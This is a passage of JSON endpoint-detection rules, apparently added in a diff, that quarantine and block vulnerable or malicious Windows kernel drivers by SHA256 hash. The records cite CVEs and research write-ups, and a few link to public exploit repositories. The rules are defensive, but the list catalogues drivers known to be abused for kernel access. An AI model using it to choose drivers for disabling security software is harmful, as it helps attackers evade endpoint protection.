+  "id": "ba82a4e1-36f8-5911-b96a-7c6eda84401d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821429Z",
+  "creation_date": "2026-03-23T11:45:31.821431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821437Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8542409e3eed1df27f43d714d6b6851bb56627d089c173e331c81527f0c2de0b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba86d04e-c59c-5e3f-a520-e85ac1cfa5bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614921Z",
+  "creation_date": "2026-03-23T11:45:29.614923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0bd1ae72aeb5f3eabf1531a635f990e5eaae7fdd560342f915f723766c80889",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba8962cc-67c0-55c6-8471-db6ff24ea846",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820581Z",
+  "creation_date": "2026-03-23T11:45:30.820583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820589Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d3347c93dff62eecdde22ccc6ba3ce8c0446874738488527ea76d0645341409",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "baa2ad79-d2d2-5410-b99e-3bed74860950",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474321Z",
+  "creation_date": "2026-03-23T11:45:31.474325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb84b21bf29dd29ba121b45653c998984a3c39a8c9cfda04932aeb6d91cd77d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "babeea83-195d-53a5-8939-98c1a7b677b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478635Z",
+  "creation_date": "2026-03-23T11:45:30.478639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd628061d6e53f3f0b44f409ad914b3494c5d7b5ff6ff0e8fc3161aacec93e96",
+  "comment": "Vulnerable Kernel Driver (aka Tmel.sys) [https://www.loldrivers.io/drivers/1aeb1205-8b02-42b6-a563-b953ea337c19/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bac5b704-595a-5d81-a6c2-cf10fb1e9d68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494619Z",
+  "creation_date": "2026-03-23T11:45:31.494621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494627Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04a3a31b33be0f29a9b291591db1a53dc8cbcd1a272c999f161f332acf93c7d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bacd9290-5194-519b-8f8f-8975173b14d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473203Z",
+  "creation_date": "2026-03-23T11:45:31.473208Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25cd2b80f1440852e73b38aaefa23257d8f806eb7b1449d81cb6443e9b8fe39b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bad12054-2ab6-5c92-883c-d95f57c33db0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457216Z",
+  "creation_date": "2026-03-23T11:45:30.457219Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afc1873543735d6299543d91d7c09ee1fa1588ff9f131ba4aedcd32b984c8ec1",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "badcf67a-2949-590f-8a34-cf6e75d3409a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492390Z",
+  "creation_date": "2026-03-23T11:45:31.492392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492398Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "213ab0806c1ba92b72d59fdd90f9bb3bfe55611ac92d35ffbab172e5b1421dde",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bae1dfb8-a483-56fa-97f3-e4b784dac231",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976500Z",
+  "creation_date": "2026-03-23T11:45:29.976502Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c31a9fbf833b732b5f3f06c31e200994a65ce187260e66eff62278660dba4ef",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bae3819f-dfd8-58c7-8bdb-5a0de63b03f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454793Z",
+  "creation_date": "2026-03-23T11:45:30.454796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7d72d22cd4ad3e44fd617bdb4c90b9a884f4eb045688c0e3fb64dd33e033eaa",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotrpg.Sys) [https://www.loldrivers.io/drivers/ebdde780-e142-44e7-a998-504c516f4695/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bae7bc1a-588b-537c-91b7-2abf3965733e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477260Z",
+  "creation_date": "2026-03-23T11:45:30.477263Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1228d0b6b4f907384346f64e918cc28021fe1cd7d4e39687bca34a708998261a",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "baea4a00-cf18-502b-bfac-52951b683e81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984424Z",
+  "creation_date": "2026-03-23T11:45:29.984426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984431Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5cc046c2ae9ba6fe54def699f1c4fa92d3226304321bbf45cc33883ce131138",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "baf0918f-bea7-5fbf-9977-5e13671583b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612915Z",
+  "creation_date": "2026-03-23T11:45:29.612917Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612922Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0483b32f9544e9c3cc3f206e7bc983ea83f5a9ca44864f2af9b8fc10ff45949f",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb01abf2-b845-5e38-9a8b-29b3b3fb87a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459104Z",
+  "creation_date": "2026-03-23T11:45:30.459107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65a3e69854c729659281d2c5f8a4c8274ad3606befdcd9e1b79d3262f260bfa1",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb01e362-6e05-5e46-aa7f-ead50304ebf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975360Z",
+  "creation_date": "2026-03-23T11:45:29.975362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975368Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "001cd8b2ce1932d1a8c32bc2d643ee4fa6f67626d1b6895beea916285450566c",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb0cbf95-c47e-5840-bfba-a5747914b40b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822078Z",
+  "creation_date": "2026-03-23T11:45:31.822082Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74020c03e63a367cf16e08644a2f7427704312c219c3d7b8f84c549059bfddb0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb13ceb8-daed-5eb1-9fdb-217983682499",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480674Z",
+  "creation_date": "2026-03-23T11:45:30.480677Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc23abdcf93928e1db8401a7ff53c86c85230a8637c4168f7434208f9e8b5ded",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb13d187-132c-5349-b65d-717b4c7828e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159517Z",
+  "creation_date": "2026-03-23T11:45:31.159519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e3627239b09b34f1fc404f536b1599e3d27eecdac4c14129f7babeea25214ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb1e75f5-b6fb-57a0-b769-4ed7be50140d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984711Z",
+  "creation_date": "2026-03-23T11:45:29.984713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "025e7be9fcefd6a83f4471bba0c11f1c11bd5047047d26626da24ee9a419cdc4",
+  "comment": "Dangerous Physmem Kernel Driver (aka asmmap.Sys) [https://www.loldrivers.io/drivers/d0048840-970f-4ad5-9a07-1d39469d721f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb262c08-cfb5-561e-82ef-98ecb723d25f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969751Z",
+  "creation_date": "2026-03-23T11:45:29.969753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29a560a11292c4224a401392e091a8f08230fdfea35521035e2bfda0b3d1f952",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb26968d-afdf-5fc3-997c-c7e49f5817d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825504Z",
+  "creation_date": "2026-03-23T11:45:30.825506Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "157f9f36041dbc09548cd87687995d9e8b9b30a80fc7e9bad6d8cfa943489d3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb2e5d51-f2ef-503a-8c98-1cdd3094481d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
